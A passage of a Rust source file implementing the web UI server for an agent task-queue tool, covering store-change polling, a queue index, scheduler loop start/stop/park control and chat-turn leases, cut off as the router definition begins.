1#[cfg(test)]
79pub(crate) mod request_cost;
80
81use std::collections::{HashMap, HashSet};
82use std::convert::Infallible;
83use std::net::{IpAddr, Ipv4Addr, SocketAddr};
84use std::path::{Path as FsPath, PathBuf};
85use std::pin::Pin;
86use std::sync::{Arc, Mutex, MutexGuard, PoisonError};
87use std::time::Duration;
88use tokio::sync::Notify;
89
90use anyhow::{Context, Result};
91use axum::Json;
92use axum::Router;
93use axum::body::Bytes;
94use axum::extract::rejection::JsonRejection;
95use axum::extract::{DefaultBodyLimit, Path, Query, State};
96use axum::http::{HeaderMap, HeaderValue, StatusCode, header};
97use axum::response::sse::{Event, KeepAlive, Sse};
98use axum::response::{IntoResponse, Response};
99use axum::routing::{get, post, put};
100use jiff::Timestamp;
101use serde::{Deserialize, Serialize};
102use tokio_stream::StreamExt as _;
103use tokio_stream::wrappers::ReceiverStream;
104
105use crate::agent;
106use crate::ask::{self, Answer, Question, Questions};
107use crate::config::{AgentKind, Config, Update, UpdateMode};
108use crate::md;
109use crate::notices::{Notice, Notices};
110use crate::persona;
111use crate::persona_icon;
112use crate::proc::Quiet as _;
113use crate::queue::{Queue, Source, Task, TaskStatus, title_from};
114use crate::run::{RunState, RunStatus};
115use crate::talk::{Talk, Talks};
116use crate::{daemon, git, report, repos, run, settings, stats, talk, updater};
117
118pub const DEFAULT_PORT: u16 = 7878;
120
121const POLL: Duration = Duration::from_secs(1);
123
124const KEEPALIVE: Duration = Duration::from_secs(15);
128
129const UPDATE_RECHECK_POLL_MAX: Duration = Duration::from_secs(15 * 60);
140
141const UPDATE_RECHECK_POLL_MIN: Duration = Duration::from_secs(30);
144
145const LIST_DEFAULT: usize = 50;
149const LIST_MAX: usize = 500;
151
152const TITLE_MAX: usize = 72;
154
155const ATTACHMENT_MAX_BYTES: usize = 10 * 1024 * 1024;
164
165const ATTACHMENT_MIME_WHITELIST: [&str; 4] = ["image/png", "image/jpeg", "image/gif", "image/webp"];
171
172const FILENAME_HEADER: &str = "x-filename";
176
177const PANEL_CSP: &str = "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
200 font-src data:; base-uri 'none'; form-action 'none'; \
201 frame-ancestors 'self'";
202
203const INDEX_HTML: &str = include_str!("../assets/ui/index.html");
204const APP_CSS: &str = include_str!("../assets/ui/app.css");
205const APP_JS: &str = include_str!("../assets/ui/app.js");
206
207#[derive(Debug, Clone, Copy, PartialEq, Eq)]
209pub enum Bind {
210 Auto,
212 Addr(IpAddr),
214}
215
216impl std::str::FromStr for Bind {
217 type Err = String;
218
219 fn from_str(s: &str) -> std::result::Result<Self, Self::Err> {
223 if s.eq_ignore_ascii_case("auto") {
224 return Ok(Self::Auto);
225 }
226 s.parse()
227 .map(Self::Addr)
228 .map_err(|_| format!("expected `auto` or an IP address, got `{s}`"))
229 }
230}
231
232impl std::fmt::Display for Bind {
233 fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
234 match self {
235 Self::Auto => f.write_str("auto"),
236 Self::Addr(addr) => write!(f, "{addr}"),
237 }
238 }
239}
240
241#[derive(Debug, Clone)]
243pub struct Opts {
244 pub bind: Bind,
246 pub port: u16,
248 pub repo: PathBuf,
250 pub open: bool,
253 pub merge: Option<String>,
259}
260
261impl Default for Opts {
262 fn default() -> Self {
263 Self {
264 bind: Bind::Auto,
265 port: DEFAULT_PORT,
266 repo: PathBuf::from("."),
267 open: false,
268 merge: None,
269 }
270 }
271}
272
273mod id_links;
274
275type Stamps = HashMap<String, (u128, u64)>;
276
277fn store_stamps(root: &FsPath, runs: bool) -> Stamps {
279 try_store_stamps(root, runs).unwrap_or_default()
280}
281
282fn try_store_stamps(root: &FsPath, runs: bool) -> std::io::Result<Stamps> {
283 try_stamps(root, runs, false)
284}
285
286fn try_stamps(root: &FsPath, runs: bool, all_entries: bool) -> std::io::Result<Stamps> {
287 use std::hash::{Hash as _, Hasher as _};
288 let entries = match std::fs::read_dir(root) {
289 Ok(entries) => entries,
290 Err(e) if e.kind() == std::io::ErrorKind::NotFound => return Ok(HashMap::new()),
291 Err(e) => return Err(e),
292 };
293 let mut stamps = HashMap::new();
294 for entry in entries {
295 let entry = entry?;
296 let path = if runs {
297 entry.path().join("run.json")
298 } else {
299 entry.path()
300 };
301 if !runs && !all_entries && path.extension().is_none_or(|ext| ext != "json") {
302 continue;
303 }
304 let identity = match file_identity(&path) {
305 Ok(identity) => identity,
306 Err(e) if runs && e.kind() == std::io::ErrorKind::NotFound => continue,
307 Err(e) => return Err(e),
308 };
309 let modified = identity
310 .modified
311 .duration_since(std::time::UNIX_EPOCH)
312 .unwrap_or_default();
313 let mut hasher = std::hash::DefaultHasher::new();
314 identity.hash(&mut hasher);
315 let id = if runs || all_entries {
316 entry.file_name().to_string_lossy().into_owned()
317 } else {
318 path.file_stem()
319 .unwrap_or_default()
320 .to_string_lossy()
321 .into_owned()
322 };
323 stamps.insert(id, (modified.as_nanos(), hasher.finish()));
324 }
325 Ok(stamps)
326}
327
328#[derive(Debug, Serialize)]
329struct Delta {
330 base: u64,
331 changed: Vec<String>,
332 removed: Vec<String>,
333}
334
335fn diff_stamps(previous: &Stamps, next: &Stamps, base: u64) -> Delta {
336 let mut changed: Vec<_> = next
337 .iter()
338 .filter(|(id, stamp)| previous.get(*id) != Some(*stamp))
339 .map(|(id, _)| id.clone())
340 .collect();
341 let mut removed: Vec<_> = previous
342 .keys()
343 .filter(|id| !next.contains_key(*id))
344 .cloned()
345 .collect();
346 changed.sort_unstable();
347 removed.sort_unstable();
348 Delta {
349 base,
350 changed,
351 removed,
352 }
353}
354
355#[cfg(test)]
357fn runs_revision(runs: &FsPath) -> u64 {
358 stamps_revision(&store_stamps(runs, true))
359}
360
361fn stamps_revision(stamps: &Stamps) -> u64 {
365 use std::hash::{Hash as _, Hasher as _};
366 if stamps.is_empty() {
367 return 0;
368 }
369 let mut entries: Vec<_> = stamps.iter().collect();
370 entries.sort_unstable();
371 let mut hasher = std::hash::DefaultHasher::new();
372 entries.hash(&mut hasher);
373 hasher.finish().max(1)
374}
375
376#[derive(Clone, Debug)]
377pub(crate) struct ChangeNotification {
378 pub payload: serde_json::Value,
379}
380
381#[derive(Default, Debug)]
382pub(crate) struct QueueIndex {
383 records: HashMap<String, (FileIdentity, Arc<TaskRelation>)>,
385 #[cfg(test)]
386 reparsed: usize,
387}
388
389#[derive(Clone, Debug)]
390struct TaskRelation {
391 id: String,
392 status: Option<crate::queue::TaskStatus>,
393 priority: i32,
394 runs: Vec<String>,
395 source: Source,
396 chat: Option<String>,
397}
398
399impl From<Task> for TaskRelation {
400 fn from(task: Task) -> Self {
401 Self {
402 id: task.id,
403 status: Some(task.status),
404 priority: task.priority,
405 runs: task.runs,
406 source: task.source,
407 chat: task.chat,
408 }
409 }
410}
411
412#[derive(Debug, PartialEq, Eq, Hash)]
413struct FileIdentity {
414 modified: std::time::SystemTime,
415 len: u64,
416 #[cfg(unix)]
417 identity: (u64, u64, i64, i64),
418}
419
420fn file_identity(path: &FsPath) -> std::io::Result<FileIdentity> {
421 let meta = path.metadata()?;
422 Ok(FileIdentity {
423 modified: meta.modified()?,
424 len: meta.len(),
425 #[cfg(unix)]
426 identity: {
427 use std::os::unix::fs::MetadataExt as _;
428 (meta.dev(), meta.ino(), meta.ctime(), meta.ctime_nsec())
429 },
430 })
431}
432
433type Revisions = (u64, u64, u64, u64, u64, u64);
434type MonitorSnapshot = Option<(Revisions, [Stamps; 3])>;
435
436#[derive(Debug)]
437pub(crate) struct SharedMonitor {
438 pub broadcaster: tokio::sync::broadcast::Sender<ChangeNotification>,
439 pub latest: Arc<Mutex<MonitorSnapshot>>,
440 pub worker_started: std::sync::atomic::AtomicBool,
441 pub queue_index: Arc<Mutex<QueueIndex>>,
442 list_walks: Mutex<Vec<ListWalk>>,
443 disk: Arc<Mutex<DiskObservation>>,
444}
445
446fn monitor_scan(ui: &Ui, previous: MonitorSnapshot) -> (Revisions, [Stamps; 3]) {
448 let (mut rev, mut stamps) = previous.unwrap_or_default();
449 for (index, root, runs) in [
450 (0, ui.queue.root(), false),
451 (1, ui.runs.as_path(), true),
452 (2, ui.talks.root(), false),
453 ] {
454 if let Ok(next) = try_store_stamps(root, runs) {
455 let value = stamps_revision(&next);
456 match index {
457 0 => rev.0 = value,
458 1 => rev.1 = value,
459 _ => rev.3 = value,
460 }
461 stamps[index] = next;
462 }
463 }
464 if let Ok(next) = try_stamps(ui.questions.root(), false, true) {
465 rev.2 = stamps_revision(&next);
466 }
467 if let Ok(next) = try_stamps(ui.notices.root(), false, true) {
468 rev.4 = stamps_revision(&next);
469 }
470 rev.5 = ui.lock_loop().rev;
471 (rev, stamps)
472}
473
474impl SharedMonitor {
475 pub fn new() -> Self {
476 let (tx, _) = tokio::sync::broadcast::channel(64);
477 Self {
478 broadcaster: tx,
479 latest: Arc::default(),
480 worker_started: std::sync::atomic::AtomicBool::new(false),
481 queue_index: Arc::default(),
482 list_walks: Mutex::default(),
483 disk: Arc::default(),
484 }
485 }
486
487 async fn revisions(&self, ui: &Arc<Ui>) -> ApiResult<Revisions> {
488 let mut receiver = self.broadcaster.subscribe();
489 self.ensure_worker(ui);
490 loop {
491 if let Some((revisions, _)) = self
492 .latest
493 .lock()
494 .unwrap_or_else(PoisonError::into_inner)
495 .as_ref()
496 {
497 return Ok(*revisions);
498 }
499 tokio::time::timeout(Duration::from_secs(5), receiver.recv())
500 .await
501 .map_err(|_| ApiError::internal("Store monitoring is unavailable; retry"))?
502 .map_err(|_| ApiError::internal("Store monitoring restarted; retry"))?;
503 }
504 }
505
506 pub fn ensure_worker(&self, ui: &Arc<Ui>) {
507 if self
508 .worker_started
509 .compare_exchange(
510 false,
511 true,
512 std::sync::atomic::Ordering::SeqCst,
513 std::sync::atomic::Ordering::SeqCst,
514 )
515 .is_err()
516 {
517 return;
518 }
519
520 let weak_ui = Arc::downgrade(ui);
521 tokio::spawn(async move {
522 let mut ticker = tokio::time::interval(POLL);
523 loop {
524 ticker.tick().await;
525 let Some(ui) = weak_ui.upgrade() else {
526 break;
527 };
528
529 let previous = ui
530 .monitor
531 .latest
532 .lock()
533 .unwrap_or_else(PoisonError::into_inner)
534 .clone();
535 let state = Arc::clone(&ui);
536 let scan =
537 tokio::task::spawn_blocking(move || monitor_scan(&state, previous)).await;
538
539 ticker.reset();
541 let Ok((revisions, next_stamps)) = scan else {
542 continue;
543 };
544
545 let mut latest_guard = match ui.monitor.latest.lock() {
546 Ok(g) => g,
547 Err(p) => p.into_inner(),
548 };
549
550 let previous = latest_guard.take();
551 let (last_rev, prev_stamps) = match previous {
552 Some((r, s)) => (Some(r), Some(s)),
553 None => (None, None),
554 };
555
556 if last_rev == Some(revisions) {
557 *latest_guard = Some((revisions, prev_stamps.unwrap_or(next_stamps)));
558 continue;
559 }
560
561 let mut payload = serde_json::json!({
562 "queue_rev": revisions.0,
563 "runs_rev": revisions.1,
564 "questions_rev": revisions.2,
565 "talks_rev": revisions.3,
566 "notifications_rev": revisions.4,
567 "loop_rev": revisions.5,
568 });
569
570 if let (Some(base), Some(prev)) = (last_rev, prev_stamps.as_ref()) {
571 for (index, (key, rev)) in [
572 ("queue_delta", base.0),
573 ("runs_delta", base.1),
574 ("talks_delta", base.3),
575 ]
576 .into_iter()
577 .enumerate()
578 {
579 let delta = diff_stamps(&prev[index], &next_stamps[index], rev);
580 if delta.changed.len() + delta.removed.len() > 0
581 && delta.changed.len() <= 50
582 {
583 payload[key] = serde_json::to_value(delta).expect("serializable delta");
584 }
585 }
586 }
587
588 *latest_guard = Some((revisions, next_stamps));
589 drop(latest_guard);
590
591 let _ = ui.monitor.broadcaster.send(ChangeNotification { payload });
592 }
593 });
594 }
595}
596
597#[derive(Debug, Clone)]
603pub struct Ui {
604 queue: Queue,
605 questions: Questions,
606 notices: Notices,
609 talks: Talks,
610 runs: PathBuf,
611 references: Arc<id_links::IndexCache>,
612 home: PathBuf,
613 repo: PathBuf,
614 worktrees_root: PathBuf,
621 talk_turns: Arc<Mutex<TalkTurns>>,
629 admissions: Arc<tokio::sync::RwLock<bool>>,
632 upgrade_gate: Arc<tokio::sync::Mutex<()>>,
636 upgrade_spawned: Arc<std::sync::atomic::AtomicBool>,
639 upgrade_request_error: Arc<Mutex<Option<UpgradeRequestFailure>>>,
641 auto_failed_tag: Arc<Mutex<Option<String>>>,
642 upgrade_runner: UpgradeRunner,
643 resuming: Arc<Mutex<HashSet<String>>>,
651 repos_cache: repos::Cache,
655 machine_config: Option<PathBuf>,
659 merge: Option<String>,
661 looping: Arc<Mutex<LoopState>>,
663 #[cfg(test)]
665 launch: Launch,
666 #[cfg(test)]
669 busy_queue_gate: Arc<Mutex<Option<BusyQueueGate>>>,
670 pub(crate) monitor: Arc<SharedMonitor>,
671}
672
673type AdmissionGuard = tokio::sync::OwnedRwLockReadGuard<bool>;
674
675#[cfg(test)]
695struct BusyQueueGate {
696 reached: tokio::sync::oneshot::Sender<()>,
697 release: std::sync::mpsc::Receiver<()>,
698}
699
700#[cfg(test)]
701impl std::fmt::Debug for BusyQueueGate {
702 fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
703 f.debug_struct("BusyQueueGate").finish_non_exhaustive()
704 }
705}
706
707impl Ui {
708 pub fn new(
710 queue: Queue,
711 questions: Questions,
712 talks: Talks,
713 runs: PathBuf,
714 home: PathBuf,
715 repo: PathBuf,
716 ) -> Self {
717 Self {
718 queue,
719 questions,
720 notices: Notices::at(home.join("notifications")),
721 talks,
722 runs,
723 references: Arc::default(),
724 home,
725 repo,
726 worktrees_root: run::default_worktree_root(),
730 talk_turns: Arc::default(),
731 admissions: Arc::default(),
732 upgrade_gate: Arc::default(),
733 upgrade_spawned: Arc::default(),
734 upgrade_request_error: Arc::default(),
735 auto_failed_tag: Arc::default(),
736 upgrade_runner: |home| Box::pin(upgrade_and_restart(home)),
737 resuming: Arc::default(),
738 repos_cache: repos::Cache::new(),
739 machine_config: Config::machine_layer(),
740 merge: None,
741 looping: Arc::default(),
742 #[cfg(test)]
743 launch: launch_daemon,
744 #[cfg(test)]
745 busy_queue_gate: Arc::default(),
746 monitor: Arc::new(SharedMonitor::new()),
747 }
748 }
749
750 fn indexed_tasks(&self) -> ApiResult<Vec<Arc<TaskRelation>>> {
753 let mut index = self
754 .monitor
755 .queue_index
756 .lock()
757 .unwrap_or_else(PoisonError::into_inner);
758 let entries = match std::fs::read_dir(self.queue.root()) {
759 Ok(entries) => entries,
760 Err(e) if e.kind() == std::io::ErrorKind::NotFound => {
761 index.records.clear();
762 return Ok(Vec::new());
763 }
764 Err(e) => return Err(anyhow::Error::from(e).into()),
765 };
766 let mut seen = HashSet::new();
767 for entry in entries {
768 let path = entry.map_err(anyhow::Error::from)?.path();
769 if path.extension().is_none_or(|ext| ext != "json") {
770 continue;
771 }
772 let Some(id) = path.file_stem().and_then(|s| s.to_str()) else {
773 continue;
774 };
775 let stamp = file_identity(&path).map_err(anyhow::Error::from)?;
776 seen.insert(id.to_owned());
777 if !cfg!(unix) || index.records.get(id).is_none_or(|(old, _)| *old != stamp) {
780 let Ok(task) = self.queue.get(id) else {
781 if let Some((_, record)) = index.records.get_mut(id) {
787 Arc::make_mut(record).status = None;
788 }
789 continue;
790 };
791 #[cfg(test)]
792 {
793 index.reparsed += 1;
794 }
795 if file_identity(&path).map_err(anyhow::Error::from)? != stamp {
796 return Err(ApiError::conflict("Queue changed during read; retry"));
797 }
798 index
799 .records
800 .insert(id.to_owned(), (stamp, Arc::new(TaskRelation::from(task))));
801 }
802 }
803 index.records.retain(|id, _| seen.contains(id));
804 let mut tasks: Vec<_> = index
805 .records
806 .values()
807 .map(|(_, task)| task.clone())
808 .collect();
809 tasks.sort_unstable_by(|a, b| b.priority.cmp(&a.priority).then_with(|| b.id.cmp(&a.id)));
810 Ok(tasks)
811 }
812
813 fn find_task_for_run(&self, run_id: &str) -> ApiResult<Option<Task>> {
814 let Some(record) = self
815 .indexed_tasks()?
816 .into_iter()
817 .find(|task| task.runs.iter().any(|id| id == run_id))
818 else {
819 return Ok(None);
820 };
821 let task = self.queue.get(&record.id)?;
822 if !task.runs.iter().any(|id| id == run_id) {
823 return Err(ApiError::conflict("Task relationship changed; retry"));
824 }
825 Ok(Some(task))
826 }
827
828 fn find_tasks_for_talk(&self, talk_id: &str) -> ApiResult<Vec<Task>> {
829 self.indexed_tasks()?
830 .into_iter()
831 .filter(|task| {
832 task.chat.as_deref() == Some(talk_id)
833 || matches!(&task.source, Source::Agent { run, .. } if run == talk_id)
834 })
835 .map(|record| {
836 let task = self.queue.get(&record.id)?;
837 if task.chat.as_deref() != Some(talk_id)
838 && !matches!(&task.source, Source::Agent { run, .. } if run == talk_id)
839 {
840 return Err(ApiError::conflict("Task relationship changed; retry"));
841 }
842 Ok(task)
843 })
844 .collect()
845 }
846
847 pub fn open(repo: PathBuf) -> Self {
850 Self::new(
851 Queue::open(),
852 Questions::open(),
853 Talks::open(),
854 run::runs_root(),
855 run::home(),
856 repo,
857 )
858 }
859
860 #[must_use]
867 pub fn with_merge(mut self, merge: Option<String>) -> Self {
868 self.merge = merge;
869 self
870 }
871
872 #[cfg(test)]
875 #[must_use]
876 fn with_machine_config(mut self, path: Option<PathBuf>) -> Self {
877 self.machine_config = path;
878 self
879 }
880
881 #[must_use]
886 pub fn with_worktrees_root(mut self, root: PathBuf) -> Self {
887 self.worktrees_root = root;
888 self
889 }
890
891 #[cfg(test)]
896 #[must_use]
897 fn with_launch(mut self, launch: Launch) -> Self {
898 self.launch = launch;
899 self
900 }
901
902 #[cfg(test)]
912 fn set_busy_queue_gate(&self, gate: BusyQueueGate) {
913 *self
914 .busy_queue_gate
915 .lock()
916 .unwrap_or_else(PoisonError::into_inner) = Some(gate);
917 }
918
919 fn begin_admission(&self) -> ApiResult<AdmissionGuard> {
922 let guard = Arc::clone(&self.admissions)
923 .try_read_owned()
924 .map_err(|_| ApiError::conflict("web restart in progress; retry this message"))?;
925 if *guard {
926 return Err(ApiError::conflict(
927 "web restart in progress; retry this message",
928 ));
929 }
930 Ok(guard)
931 }
932
933 async fn start_detached_loop(&self) -> ApiResult<()> {
935 if self
936 .upgrade_spawned
937 .load(std::sync::atomic::Ordering::SeqCst)
938 {
939 return Err(ApiError::conflict("an upgrade is in progress"));
940 }
941 let reading = daemon::read_status(&self.home);
942 if let Some(other) = Foreign::of(reading.as_ref()) {
943 return Err(ApiError::conflict(format!(
944 "{} is still running a legacy scheduler; finish or park it before starting the independent scheduler.",
945 other.who()
946 )));
947 }
948 let jobs = crate::worker::active(&self.home).map_err(ApiError::from)?;
949 let control = crate::worker::control(&self.home, "scheduler").map_err(ApiError::from)?;
950 let scheduler_running = jobs.iter().any(|job| job.kind == "scheduler")
951 || reading.is_some_and(|reading| {
952 reading.worker_protocol == Some(1) && reading.running(Timestamp::now())
953 });
954 if control.is_some() && scheduler_running {
955 return Err(ApiError::conflict(
956 "the scheduler is still stopping; retry Start after it has stopped",
957 ));
958 }
959 if !jobs.iter().any(|job| job.kind == "scheduler") {
960 let available =
961 crate::worker::try_lease(&self.home, "scheduler").map_err(ApiError::from)?;
962 if available.is_none() {
963 return Err(ApiError::conflict(
964 "the scheduler is still running or stopping; retry after its transition completes",
965 ));
966 }
967 drop(available);
968 }
969 let opts = daemon::Opts {
970 repo: self.repo.clone(),
971 merge: self.merge.clone(),
972 worktrees_root: Some(self.worktrees_root.clone()),
973 ..daemon::Opts::default()
974 };
975 daemon::spawn_detached(&self.home, &opts)
976 .await
977 .map_err(ApiError::from)?;
978 let mut state = self.lock_loop();
979 state.last_error = None;
980 state.rev += 1;
981 Ok(())
982 }
983
984 #[cfg(test)]
991 fn start_loop(&self, foreign: Option<Foreign>) -> ApiResult<()> {
992 if let Some(other) = foreign {
993 return Err(ApiError::conflict(format!(
994 "{} is already running the loop, so this one will not start a \
995 second: two loops on one queue race for the same claims and \
996 burn the agent quota twice over. Stop it where it was \
997 started.",
998 other.who()
999 )));
1000 }
1001 let mut state = self.lock_loop();
1002 if self
1003 .upgrade_spawned
1004 .load(std::sync::atomic::Ordering::SeqCst)
1005 {
1006 return Err(ApiError::conflict("an upgrade is in progress"));
1007 }
1008 if state.live.as_ref().is_some_and(Live::alive) {
1009 return Err(ApiError::conflict(format!(
1010 "this magi web process (pid {}) is already running the loop",
1011 std::process::id()
1012 )));
1013 }
1014
1015 let stop = daemon::Stop::new();
1016 let opts = daemon::Opts {
1020 repo: self.repo.clone(),
1021 merge: self.merge.clone(),
1022 worktrees_root: Some(self.worktrees_root.clone()),
1029 ..daemon::Opts::default()
1030 };
1031 let launch = self.launch;
1032 let looping = Arc::clone(&self.looping);
1033 let handle = tokio::spawn({
1034 let opts = opts.clone();
1035 let stop = stop.clone();
1036 async move {
1037 let failure = match launch(opts, stop).await {
1038 Ok(()) => None,
1039 Err(e) => Some(format!("{e:#}")),
1040 };
1041 match &failure {
1042 Some(why) => tracing::error!("the loop stopped: {why}"),
1043 None => tracing::info!("the loop stopped"),
1044 }
1045 let mut state = lock_or_recover(&looping);
1051 state.live = None;
1052 state.last_error = failure;
1053 state.rev += 1;
1054 }
1055 });
1056 tracing::info!(
1057 "the loop is now running in this process: repo {}, merge {}",
1058 opts.repo.display(),
1059 opts.merge.as_deref().unwrap_or("as the config says")
1060 );
1061 state.live = Some(Live { stop, handle, opts });
1062 state.last_error = None;
1065 state.rev += 1;
1066 Ok(())
1067 }
1068
1069 fn stop_loop(&self, foreign: Option<Foreign>, park: bool) -> ApiResult<()> {
1075 if let Some(other) = foreign {
1076 return Err(ApiError::conflict(format!(
1077 "the loop belongs to {}, and this process cannot stop it - \
1078 stop it where it was started. A button that silently did \
1079 nothing would be worse than this refusal.",
1080 other.who()
1081 )));
1082 }
1083 #[cfg(not(test))]
1084 {
1085 daemon::request_control(
1086 &self.home,
1087 if park {
1088 crate::worker::Control::Park
1089 } else {
1090 crate::worker::Control::Stop
1091 },
1092 )
1093 .map_err(ApiError::from)?;
1094 self.lock_loop().rev += 1;
1095 Ok(())
1096 }
1097 #[cfg(test)]
1098 {
1099 let mut state = self.lock_loop();
1100 let Some(live) = state.live.as_ref() else {
1101 return Ok(());
1102 };
1103 if live.stop.stopped() && (!park || live.stop.parking()) {
1107 return Ok(());
1108 }
1109 if park {
1110 live.stop.park(crate::run::ParkCause::Operator);
1111 tracing::info!(
1112 "the loop was asked to park; the run stops at its next node boundary"
1113 );
1114 } else {
1115 live.stop.stop();
1116 tracing::info!("the loop was asked to stop; a run in flight is finished first");
1117 }
1118 state.rev += 1;
1119 Ok(())
1120 }
1121 }
1122
1123 #[cfg(not(test))]
1130 fn try_loop_view(&self, reading: Option<daemon::Reading>) -> ApiResult<LoopView> {
1131 let jobs = crate::worker::active(&self.home).map_err(|error| {
1132 ApiError::internal(format!("cannot read independent worker state: {error:#}"))
1133 })?;
1134 Ok(self.runtime_loop_view(reading, &jobs))
1135 }
1136
1137 #[cfg(test)]
1138 fn loop_view(&self, reading: Option<daemon::Reading>) -> LoopView {
1139 let state = self.lock_loop();
1140 let live = state.live.as_ref().filter(|live| live.alive());
1143 LoopView {
1144 running: live.is_some(),
1145 stopping: live.is_some_and(|live| live.stop.finishing()),
1146 parking: live.is_some_and(|live| live.stop.parking()),
1147 owned: live.is_some(),
1148 repo: live
1149 .map_or(&self.repo, |live| &live.opts.repo)
1150 .display()
1151 .to_string(),
1152 merge: live.map_or_else(|| self.merge.clone(), |live| live.opts.merge.clone()),
1153 last_error: state.last_error.clone(),
1154 daemon: DaemonView::of(reading),
1155 }
1156 }
1157
1158 fn runtime_loop_view(
1160 &self,
1161 reading: Option<daemon::Reading>,
1162 jobs: &[crate::worker::Job],
1163 ) -> LoopView {
1164 let scheduler = jobs.iter().find(|job| job.kind == "scheduler");
1165 let reporting = reading
1166 .as_ref()
1167 .is_some_and(|r| r.running(Timestamp::now()));
1168 let managed = scheduler.is_some()
1169 || (reporting
1170 && reading
1171 .as_ref()
1172 .is_some_and(|r| r.worker_protocol == Some(1)));
1173 let control = crate::worker::control(&self.home, "scheduler")
1174 .ok()
1175 .flatten();
1176 let persisted = if managed && scheduler.is_none() {
1179 std::fs::read(self.home.join("scheduler-options.json"))
1180 .ok()
1181 .and_then(|bytes| serde_json::from_slice::<daemon::Opts>(&bytes).ok())
1182 } else {
1183 None
1184 };
1185 let repo = scheduler
1186 .and_then(|job| job.payload.get("repo"))
1187 .and_then(serde_json::Value::as_str)
1188 .map(str::to_owned)
1189 .or_else(|| {
1190 persisted
1191 .as_ref()
1192 .map(|opts| opts.repo.display().to_string())
1193 })
1194 .unwrap_or_else(|| self.repo.display().to_string());
1195 let merge = match scheduler {
1196 Some(job) => job
1197 .payload
1198 .get("merge")
1199 .and_then(serde_json::Value::as_str)
1200 .map(str::to_owned),
1201 None => persisted.map_or_else(|| self.merge.clone(), |opts| opts.merge),
1202 };
1203 LoopView {
1204 running: managed || reporting,
1205 stopping: managed && matches!(control, Some(crate::worker::Control::Stop)),
1206 parking: matches!(control, Some(crate::worker::Control::Park))
1207 && jobs.iter().any(|job| job.kind == "task"),
1208 owned: managed,
1209 repo,
1210 merge,
1211 last_error: self.lock_loop().last_error.clone(),
1212 daemon: DaemonView::of(reading),
1213 }
1214 }
1215
1216 fn lock_loop(&self) -> MutexGuard<'_, LoopState> {
1218 lock_or_recover(&self.looping)
1219 }
1220
1221 fn is_thinking(&self, id: &str) -> bool {
1223 self.talk_turns
1224 .lock()
1225 .is_ok_and(|turns| turns.live.contains(id))
1226 || self.talks.turn_held(id)
1229 || crate::consult::turn_worker_active(&self.talks, id)
1230 }
1231
1232 fn begin_talk_turn(&self, id: &str) -> ApiResult<Option<TalkTurnGuard>> {
1251 self.claim_talk_turn(id, false)
1252 }
1253
1254 fn begin_queued_talk_turn(&self, id: &str) -> ApiResult<Option<TalkTurnGuard>> {
1257 self.claim_talk_turn(id, true)
1258 }
1259
1260 fn claim_talk_turn(&self, id: &str, queued: bool) -> ApiResult<Option<TalkTurnGuard>> {
1261 let mut live = self
1262 .talk_turns
1263 .lock()
1264 .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
1265 if crate::consult::turn_worker_active(&self.talks, id) {
1266 if queued {
1267 *live.queued.entry(id.to_owned()).or_default() += 1;
1268 }
1269 return Ok(None);
1270 }
1271 let inserted = live.live.insert(id.to_owned());
1272 let lease = if inserted {
1276 match self.talks.claim_turn(id) {
1277 Ok(Some(lease)) => Some(lease),
1278 Ok(None) => {
1279 live.live.remove(id);
1280 None
1281 }
1282 Err(e) => {
1283 live.live.remove(id);
1284 return Err(ApiError::from(e));
1285 }
1286 }
1287 } else {
1288 None
1289 };
1290 if lease.is_none() {
1291 if queued {
1292 *live.queued.entry(id.to_owned()).or_default() += 1;
1297 }
1298 return Ok(None);
1299 }
1300 Ok(Some(TalkTurnGuard {
1301 talk: id.to_owned(),
1302 turns: Arc::clone(&self.talk_turns),
1303 released: false,
1304 lease,
1305 }))
1306 }
1307
1308 fn begin_talk_turn_unless_pending(&self, id: &str) -> ApiResult<TalkTurnStart> {
1313 let mut live = self
1314 .talk_turns
1315 .lock()
1316 .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
1317 if live.live.contains(id) || crate::consult::turn_worker_active(&self.talks, id) {
1319 return Ok(TalkTurnStart::Busy);
1320 }
1321 let Some(lease) = self.talks.claim_turn(id).map_err(ApiError::from)? else {
1322 return Ok(TalkTurnStart::Foreign);
1323 };
1324 let talk = self.talks.get(id).map_err(ApiError::from)?;
1326 if !talk.pending.is_empty() || !talk.pending_attachments.is_empty() {
1327 return Ok(TalkTurnStart::Pending);
1328 }
1329 live.live.insert(id.to_owned());
1330 Ok(TalkTurnStart::Claimed(TalkTurnGuard {
1331 talk: id.to_owned(),
1332 turns: Arc::clone(&self.talk_turns),
1333 released: false,
1334 lease: Some(lease),
1335 }))
1336 }
1337
1338 fn queued_generation(&self, id: &str) -> u64 {
1339 let live = self
1340 .talk_turns
1341 .lock()
1342 .unwrap_or_else(PoisonError::into_inner);
1343 live.queued.get(id).copied().unwrap_or(0)
1344 }
1345
1346 fn auto_upgrade_busy(&self) -> bool {
1349 #[cfg(test)]
1350 if self
1351 .lock_loop()
1352 .live
1353 .as_ref()
1354 .is_some_and(|live| live.stop.busy_now())
1355 {
1356 return true;
1357 }
1358 crate::worker::active(&self.home)
1359 .map_or(true, |jobs| jobs.iter().any(|job| job.kind != "scheduler"))
1360 || !daemon::current_work(&self.home, Timestamp::now()).is_empty()
1361 || !self
1362 .resuming
1363 .lock()
1364 .unwrap_or_else(PoisonError::into_inner)
1365 .is_empty()
1366 || !self
1367 .talk_turns
1368 .lock()
1369 .unwrap_or_else(PoisonError::into_inner)
1370 .live
1371 .is_empty()
1372 || self
1373 .talks
1374 .list()
1375 .iter()
1376 .any(|talk| self.is_thinking(&talk.id))
1377 }
1378
1379 fn begin_resume(&self, id: &str) -> ApiResult<ResumeGuard> {
1383 let mut live = self
1384 .resuming
1385 .lock()
1386 .map_err(|_| ApiError::internal("the resume lock was poisoned"))?;
1387 if self
1388 .upgrade_spawned
1389 .load(std::sync::atomic::Ordering::SeqCst)
1390 {
1391 return Err(ApiError::conflict("an upgrade is in progress"));
1392 }
1393 if !live.insert(id.to_owned()) {
1394 return Err(ApiError::conflict(format!(
1395 "run {id} is already being resumed"
1396 )));
1397 }
1398 Ok(ResumeGuard {
1399 run: id.to_owned(),
1400 resuming: Arc::clone(&self.resuming),
1401 })
1402 }
1403
1404 pub fn router(self) -> Router {
1412 Arc::new(self).shared_router()
1413 }
1414
1415 fn shared_router(self: Arc<Self>) -> Router {
1416 Router::new()
1417 .route("/", get(index))
